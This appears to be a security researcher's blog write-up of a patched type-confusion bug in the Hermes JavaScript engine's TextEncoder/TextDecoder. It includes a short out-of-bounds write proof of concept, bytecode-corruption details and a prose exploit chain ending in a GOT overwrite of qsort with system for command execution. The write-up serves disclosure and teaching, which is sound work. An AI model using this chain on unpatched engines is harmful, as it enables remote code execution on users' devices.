Hermes TypedArrayBuffer Type Confusion — From Bug to RCE

Posted on Wed 08 July 2026 in Security

I've been looking at the Hermes JS engine on and off for several years. In early May 2026, I picked it up again, and found a great heap OOB read/write bug, in TextEncoder/TextDecoder. I had not yet written a full Hermes exploit, so this seemed like a great opportunity to write an exploit and learn its internals in the process.

Timeline

Date Event
9 May I reported the bug to the Meta bug bounty program, with the attached POC
12 June Bug is patched: Patch
2 July Meta tells me this was already reported, and my submission is a dupe. So it goes ¯\(ツ)

I used LLM assistance in finding and exploiting this bug, for things such as proofreading, and writing support code. The core work is human generated.

Background

This writeup assumes some basic knowledge of JS engine internals and exploitation. For those unfamiliar, I recommend starting with some of the existing resources on JS engine internals for the basics I also recommend the pwn.college v8 challenges, and maybe even using spaced repetition on them ;)

Builds

For this, I used a mix of the standard debug build, and the release build with debug information. When we get further into the exploit chain, we'll start hitting debug asserts!

cmake -B rel_build -DCMAKE_BUILD_TYPE=RelWithDebInfo -DCMAKE_EXPORT_COMPILE_COMMANDS=1 -G Ninja

All work was done on a x64 Linux with glibc 2.43.

The bug

This bug is a standard issue in JavaScript engines. In JS, builtin objects have specific properties defined by the language specification. For example, Arrays have the length property, which describes the number of elements in the array. The JS language specifies how this property is updated both with normal array operations, such as push, but also how the programmer can setting it directly. Additionally, a JS programmer can create objects with arbitrary property names, such as length!

Thus, the JS engine itself needs to be careful in differentiating Array objects and their length property from regular objects with the same property name. This bug class is a well known issue in JS engines, and has been the source of many issues.

In API/hermes/extensions/JSIUtils.cpp, inside of Hermes, we have the following code:

TypedArrayBufferInfo getTypedArrayBuffer(
    jsi::Runtime &rt,
    const jsi::Value &val,
    const char *errorMessage,
    const char *detachedErrorMessage) {
  if (!val.isObject()) {
    throw jsi::JSError(rt, errorMessage);
  }
  jsi::Object obj = val.asObject(rt);

  // Get the underlying ArrayBuffer via the 'buffer' property
  jsi::Value bufferVal = obj.getProperty(rt, "buffer"); // A
  if (!bufferVal.isObject() || !bufferVal.asObject(rt).isArrayBuffer(rt)) { // B
    throw jsi::JSError(rt, errorMessage);
  }
  jsi::ArrayBuffer arrayBuffer = bufferVal.asObject(rt).getArrayBuffer(rt);

  // Get byteOffset and byteLength from the TypedArray view
  llvh::Optional<size_t> byteOffset =
      valueToUnsigned<size_t>(obj.getProperty(rt, "byteOffset")); // C
  llvh::Optional<size_t> byteLength =
      valueToUnsigned<size_t>(obj.getProperty(rt, "byteLength")); // D
  if (!byteOffset || !byteLength) {
    throw jsi::JSError(rt, errorMessage);
  }

  // Get raw pointer. data(rt) throws JSINativeException if the buffer is
  // detached, so we catch it and throw a proper TypeError.
  uint8_t *bufferData;
  try {
    bufferData = arrayBuffer.data(rt);
  } catch (const jsi::JSINativeException &) {
    throwTypeError(rt, detachedErrorMessage);
  }

  return {bufferData + *byteOffset, *byteLength};
}

getTypedArrayBuffer is a helper function for TextEncoder and TextDecoder, meant to get the underlying ArrayBuffer from a TypedArray. We see it getting the underlying buffer at the line commented 'A', which it then checks the type on line commented 'B'.

Further on, it gets the byteOffset and byteLength properties, at the lines commented 'C' and 'D'.

However, neither getTypedArrayBuffer nor TextEncoder/TextDecoder actually check if the object is a TypedArray! Furthermore, by assuming that the object is a TypedArray, the code also assumes that byteOffset and byteLength are correct for the underlying buffer. Thus, we can craft an object with these properties, but with the byteOffset and byteLength beyond the end of the buffer.

Here's a quick example, which writes out of bounds of the provided array buffer.

var fakeDestination = {
  buffer: new ArrayBuffer(1),
  byteOffset: 0x100000,
  byteLength: 16,
};

new TextEncoder().encodeInto("AAAAAAAAAAAAAAAA", fakeDestination);

JavaScript is such a great language :)

TextEncoder/TextDecoder

TextEncoder and TextDecoder are Javacript builtins that allow for conversion between strings and underlying representations. TextEncoder goes from a string to UTF-8 encoded bytes, while TextDecoder goes from a number of different encodings to a string.

This underlying bug is symmetric, which allows us to build up both read and write primitives, but we'll need to keep UTF-8 encoding in mind.

Hermes Builtins

My first step was making sure I had a good debugging environment, especially with a JS engine where I'm not familiar with the internals. In V8, there are a large number of runtime builtins to assist with debugging, that one can enable in the d8 repl.

Two simple, but very useful v8 builtins are %SystemBreak() and %DebugPrint() (note that v8 changes JS syntax so that runtime builtins start with %, and require a runtime flag to enable them). %SystemBreak() causes a basic debugger breakpoint, allowing easy integration with a debugger such as gdb.
%DebugPrint() prints a debug view of a Javascript object, including its address and information about its hidden class prototype chain. It also helpfully includes type specific information, such as the length/type of the arrays, and the address of their backing store.

I previously wrote a ticket on this link, which was marked as completed. However, I couldn't find the implementation. So, this was as easy as asking Codex/Claude to write a quick implementation.

Here's an example. Note the flag to enable the builtin methods.

let arrBuff = new ArrayBuffer(200);
HermesInternal.debugPrint(arrBuff);

let arr = [1, 2, 3, 4, 5];
HermesInternal.debugPrint(arr);
./build/bin/hermes -Xhermes-internal-test-methods ./foo.js
DebugPrint: [Object JSArrayBuffer:3817 0x7fdb5f847e90]
  kind: JSArrayBuffer
  address: 0x7fdb5f847e90
  allocation size: 88
  array buffer data: 0x55eab8973050
  array buffer byte length: 200
  array buffer external: false
  extensible: true
  lazy: false
  host object: false
  proxy object: false
  prototype: [Object JSObject:318 0x7fdb5f814d40]
  hidden class: 0x7fdb5ebfdf30
  own property count: 2
  dictionary mode: false
  may have accessor: false
  properties:
    (InternalProperty0): slot=0 flags=---
    (InternalProperty1): slot=1 flags=---
DebugPrint: [Object JSArray:3819 0x7fdb5f847f38]
  kind: JSArray
  address: 0x7fdb5f847f38
  allocation size: 88
  array indexed storage: 0x7fdb5f847f90
  array element storage: 0x7fdb5f847fa8
  array storage size: 5
  array storage capacity: 5
  array begin index: 0
  array element count: 5
  extensible: true
  lazy: false
  host object: false
  proxy object: false
  prototype: [Object JSArray:314 0x7fdb5f814ce8]
  hidden class: 0x7fdb5ebfd8d0
  own property count: 3
  dictionary mode: false
  may have accessor: false
  properties:
    (InternalProperty0): slot=0 flags=---
    (InternalProperty1): slot=1 flags=---
    length: slot=2 flags=-w- internalSetter

As you'll see later, we'll also need an easy way to dump the bytecode of a function. Thanks to LLM assistance (and manual verification), this was easy as well

FunctionOpcodeDump:
  function object: 0x7fc61d0144f8
  function environment: 0x7fc61d0144d8
  code block: 0x5601f8ad2f30
  runtime module: 0x5601f8ac6870
  bytecode provider: 0x5601f8af4900
  function header: 0x5601f8ad2f38
  provider bytecode: 0x5601f8ad9cd0
  bytecode start: 0x5601f8ad9cd0
  bytecode end: 0x5601f8ad9d04
  bytecode size: 52
  function id: 1
  function name:
  function param count: 1
  function frame size: 3
  function strict mode: false
  function was lazy: false
  opcodes:
    index  offset  address         opcode                opHex  size  bytes                               decoded
        0       0  0x5601f8ad9cd0  GetParentEnvironment   0x34     3  0x34 0x01 0x00                      GetParentEnvironment r1, $0
        1       3  0x5601f8ad9cd3  CreateEnvironment      0x42     7  0x42 0x00 0x01 0x00 0x00 0x00 0x00  CreateEnvironment r0, r1, $0
        2      10  0x5601f8ad9cda  GetGlobalObject        0x3d     2  0x3d 0x01                           GetGlobalObject   r1
        3      12  0x5601f8ad9cdc  TryGetById             0x48     6  0x48 0x01 0x01 0x00 0x02 0x00       TryGetById        r1, r1, $0, $2
        4      18  0x5601f8ad9ce2  GetGlobalObject        0x3d     2  0x3d 0x02                           GetGlobalObject   r2
        5      20  0x5601f8ad9ce4  TryGetById             0x48     6  0x48 0x02 0x02 0x01 0x03 0x00       TryGetById        r2, r2, $1, $3
        6      26  0x5601f8ad9cea  Add                    0x1e     4  0x1e 0x01 0x01 0x02                 Add               r1, r1, r2
        7      30  0x5601f8ad9cee  LoadConstZero          0x97     2  0x97 0x02                           LoadConstZero     r2
        8      32  0x5601f8ad9cf0  Add                    0x1e     4  0x1e 0x01 0x01 0x02                 Add               r1, r1, r2
        9      36  0x5601f8ad9cf4  LoadConstUInt8         0x8b     3  0x8b 0x02 0x01                      LoadConstUInt8    r2, $1
       10      39  0x5601f8ad9cf7  Add                    0x1e     4  0x1e 0x01 0x01 0x02                 Add               r1, r1, r2
       11      43  0x5601f8ad9cfb  LoadConstUInt8         0x8b     3  0x8b 0x02 0x02                      LoadConstUInt8    r2, $2
       12      46  0x5601f8ad9cfe  Add                    0x1e     4  0x1e 0x01 0x01 0x02                 Add               r1, r1, r2
       13      50  0x5601f8ad9d02  Ret                    0x76     2  0x76 0x01                           Ret               r1

Hermes JSObject Structure

In order to begin writing an JS engine exploit, we first need an understanding of how Hermes lays objects out in memory. For this, I normally use gdb's ptype command. For example, ptype /o hermes::vm::JSObject for the base JSObject structure. Note that this does not include base classes, and may include padding.

My descriptions are my own, written to be useful later on

JSObject - Actual JavaScript Objects

Offset Size Description
0 4 GCCell
8 4 SHObjectFlags
16 8 parent
24 8 Hidden Class
32 8 Property Backing

ArrayImpl - JavaScript Arrays

Offset Size Description
0 4 GCCell
8 4 SHObjectFlags
16 8 parent
24 8 Hidden Class
32 8 Property Backing
40 4 uint32_t begin Index
44 4 uint32_t Element Count
48 8 indexed Storage

JsArrayBuffer - ArrayBuffer Class

Offset Size Description
0 16 GCCell
16 4 SHObjectFlags
24 8 Prototype JSObject
32 8 Hidden Class
40 8 uint8_t * data
48 4 uint32_t size
52 1 external flag
53 1 attached flag

Building Initial Primitives

Let's take a look at our ArrayBuffer dump from earlier

DebugPrint: [Object JSArrayBuffer:3817 0x7fdb5f847e90]
  kind: JSArrayBuffer
  address: 0x7fdb5f847e90
  allocation size: 88
  array buffer data: 0x55eab8973050
  array buffer byte length: 200
  array buffer external: false
  extensible: true
  lazy: false
  host object: false
  proxy object: false
  prototype: [Object JSObject:318 0x7fdb5f814d40]
  hidden class: 0x7fdb5ebfdf30
  own property count: 2
  dictionary mode: false
  may have accessor: false
  properties:
    (InternalProperty0): slot=0 flags=---
    (InternalProperty1): slot=1 flags=---

Noticably, the backing array is in a different allocation range than the ArrayBuffer itself. Digging around in the source code, I found that Hermes uses both malloc/calloc, and the GC allocator, based on the object being allocated. All of the standard JS objects, and thus the good corruption targets, are from the GC allocator. ArrayBuffer backing array's are from malloc/calloc, and thus our OOB read/write will only easily be able to affect other objects from malloc/calloc.

A quick grep through the source code showed that there are only a few potential targets. The most interesting is that Hermes allocates function bytecode using malloc.

This lead to the following initial exploit plan:

  • Use our OOB read to find search for the bytecode of a specific function.
    • This allows for greater stability than hardcoded offsets.
  • Use our OOB to corrupt the function bytecode. To keep things simple, we'll make a small change that allows us to corrupt a different JS object.
  • Call the corrupted function on a JS object, to get a crafted object in the JS heap.
  • In particular, we'll use a corrupted ArrayBuffer object to build even stronger primitives.

Intro to Hermes Bytecode

Hermes implements a straightforward register-based bytecode interpreter. Opcode declarations, with human understandable comments are in BytecodeList.def, with the actual implementation in Interpreter.cpp, as a giant switch statement.

Here's a brief example, with the Javascript of a simple function, and the associated bytecode

function foo(a) {
  return a + 123;
}
opcodes:
    index  offset  address         opcode          opHex  size  bytes                decoded
        0       0  0x557f49fba290  LoadConstUInt8   0x8b     3  0x8b 0x00 0x7b       LoadConstUInt8    r0, $123
        1       3  0x557f49fba293  LoadParam        0x89     3  0x89 0x01 0x01       LoadParam         r1, $1
        2       6  0x557f49fba296  Add              0x1e     4  0x1e 0x01 0x01 0x00  Add               r1, r1, r0
        3      10  0x557f49fba29a  Ret              0x76     2  0x76 0x01            Ret               r1

Corrupting Bytecode

From here, our goal is to use our ability to run arbitrary bytecode to craft a Javascript object that we can use for addrOf, read, and write in Javascript heap. This was easier said than done, as most of the opcodes I looked at validated their operands.

After some digging, I found GetOwnBySlotIdx and PutOwnBySlotIdx.

Most JS engines use the following approach for implementing basic objects (e.g. var a = {b:1.1}):

  • Have mapping that goes from the property name (b) to an integer index.
  • There's a lot of work done on making this mapping efficient, which is beyond the scope of this writeup.
  • This mapping is specific to the object's hidden class (also beyond the scope of this writeup).
  • This index is then used to look up the property on a particular object, with different objects potentially implementing their storage differently.
  • Small objects generally have their property storage "in line", where it's immediately after the initial object fields in memory.
  • Larger objects may have their property storage allocated separately from the object itself.

From our structure layouts previously, our example object a will actually look like this in memory:

Offset Size Description
0 4 GCCell
8 4 SHObjectFlags
16 8 parent
24 8 Hidden Class
32 8 Property Backing (null ptr)
40 8 Value of b (1.1)

As we saw earlier, more complex Objects, such as ArrayBuffers and Arrays, have the same initial object header, followed by their unique data storage.

GetOwnBySlotIdx and PutOwnBySlotIdx implement basic property access on objects using slot indices. Notably, they assume the base object layout.

Here are the key functions for GetOwnBySlotIdx. PutOwnBySlotIdx is similar but for storing values.

In Interpreter.cpp:

CASE(GetOwnBySlotIdx) {
        O1REG(GetOwnBySlotIdx) = JSObject::getNamedSlotValueUnsafe(
                                     vmcast<JSObject>(O2REG(GetOwnBySlotIdx)),
                                     runtime,
                                     ip->iGetOwnBySlotIdx.op3)
                                     .unboxToHV(runtime);
        ip = NEXTINST(GetOwnBySlotIdx);
        DISPATCH;
      }

In JSObject.h:

inline SmallHermesValue JSObject::getNamedSlotValueUnsafe(
    JSObject *self,
    PointerBase &runtime,
    SlotIndex index) {
  if (LLVM_LIKELY(index < DIRECT_PROPERTY_SLOTS))
    return getNamedSlotValueDirectUnsafe(self, runtime, index);

  return getNamedSlotValueIndirectUnsafe(
      self, runtime, index - DIRECT_PROPERTY_SLOTS);
}
inline SmallHermesValue JSObject::getNamedSlotValueDirectUnsafe(
    JSObject *self,
    PointerBase &runtime,
    SlotIndex index) {
  assert(index < DIRECT_PROPERTY_SLOTS);
  return self->directProps()[index];
}

To summarize, these functions provide read/write to object properties, with a slot index provided by the bytecode op, which we control!

Aside - NaN Boxing

Hermes encodes its basic values using NaN boxing. In short, Javascript numbers are stored as their floating point values. Pointers to objects are stored as the pointer, but with the upper bits set, making them NaN values.

Looking through some structure dumps, I saw that normal object properties are NaN boxed. Because of this, GetOwnBySlotIdx will only do a normal property read.

Arrays and ArrayBuffers, on the other hand, store their backing stores as normal pointers. Thus, we need to use our corrupted bytecode primitive to modify the backing pointers of these objects.

Using Our Corrupted Bytecode

With these restrictions, I settled on using our corrupted bytecode primitive to take the backing pointer of an Array, and set it as the backing pointer of the ArrayBuffer, returning that pointer unboxed.

This results in the following: - Our ArrayBuffer will be pointed at the Javascript heap, allowing read/write access, and further control of JS Objects. - Leaking this backing pointer, giving us an address in the Javascript heap.

The fullly corrupted function is as follows:

opcodes:
   index  offset  address         opcode                opHex  size  bytes                               decoded
       0       0  0x55912533e090  GetParentEnvironment   0x34     3  0x34 0x02 0x00                      GetParentEnvironment r2, $0
       1       3  0x55912533e093  CreateEnvironment      0x42     7  0x42 0x02 0x02 0x02 0x00 0x00 0x00  CreateEnvironment r2, r2, $2
       2      10  0x55912533e09a  LoadParam              0x89     3  0x89 0x01 0x01                      LoadParam         r1, $1
       3      13  0x55912533e09d  StoreToEnvironment     0x37     4  0x37 0x02 0x00 0x01                 StoreToEnvironment r2, $0, r1
       4      17  0x55912533e0a1  LoadParam              0x89     3  0x89 0x01 0x02                      LoadParam         r1, $2
       5      20  0x55912533e0a4  StoreToEnvironment     0x37     4  0x37 0x02 0x01 0x01                 StoreToEnvironment r2, $1, r1
       6      24  0x55912533e0a8  LoadFromEnvironment    0x3b     4  0x3b 0x01 0x02 0x00                 LoadFromEnvironment r1, r2, $0
       7      28  0x55912533e0ac  LoadFromEnvironment    0x3b     4  0x3b 0x02 0x02 0x01                 LoadFromEnvironment r2, r2, $1
       8      32  0x55912533e0b0  GetOwnBySlotIdx        0x54     4  0x54 0x03 0x01 0x01                 GetOwnBySlotIdx   r3, r1, $1
       9      36  0x55912533e0b4  PutOwnBySlotIdx        0x52     4  0x52 0x02 0x03 0x00                 PutOwnBySlotIdx   r2, r3, $0
      10      40  0x55912533e0b8  Ret                    0x76     2  0x76 0x03                           Ret               r3
      11      42  0x55912533e0ba  Mul                    0x21     4  0x21 0x01 0x01 0x02                 Mul               r1, r1, r2
      12      46  0x55912533e0be  Ret                    0x76     2  0x76 0x01                           Ret               r1

Our overwrite starts at the GetOwnBySlotIdx, and ends with the Ret instruction.

Aside: GC safe bytecode corruption

While writing this exploit primitive, my code would frequently fail due the bytecode being allocated before the ArrayBuffer that was the source of our R/W primitive.

To overcome this, we can create an arbitrary number of target functions to overwrite. Each contains a unique integer constant, as part of the byteccode. Thus, when using our R/W primtive, we can tell which target function we are overwriting.

Expanding Primitives

At this point, we've got an ArrayBuffer that gives us R/W access to the GC heap. From here, we can use standard Javascript engine exploitation techniques.

We make a "leak object", with one property that's easy to find in memory, using our ArrayBuffer R/W primitive. We can set a property on this object to be a different object, and then read it out, to get an addrOf primitive.

We make yet another ArrayBuffer, leak its address, and then overwrite it's backing pointer, to get full arbitrary read/write access to the target heap.

Of note, our read/write demo script works just was well on Aarch64 Mac, as x86_64 Linux :)

Getting code exec

First, we need to get addresses for the main executable.

Hermes native functions keep pointers to the main executable, so it's as easy as getting the address of a builtin function, and then reading the pointer using our primitives.

Now, we're at the point of needing offsets specific to the target executable. For this, I wrote a quick pwntools script to dump offsets, in a form that we can easily copy/paste into our exploit primitive code. Since we are exploiting a Javascript engine, we theoretically could write tooling that uses our R/W primitive to fully parse the executable in memory, and extract offsets, but that's not necessary for a proof of concept such as this.

My approach is as follows:

  • Use a native function (Array.prototype.push) to get a reference to the main executable.
  • Use that reference to calculate base of the executable.
  • Use the base of the executable to find the GOT, and leak an address into libc.
  • Use the leaked address to calculate the base of libc, and then use that to find the address of the system function.
  • Overwrite the GOT entry for qsort with the address of system, and then call sort on a TypedArray, whose elements are the string of a command to run.

And that gets us command execution!

Code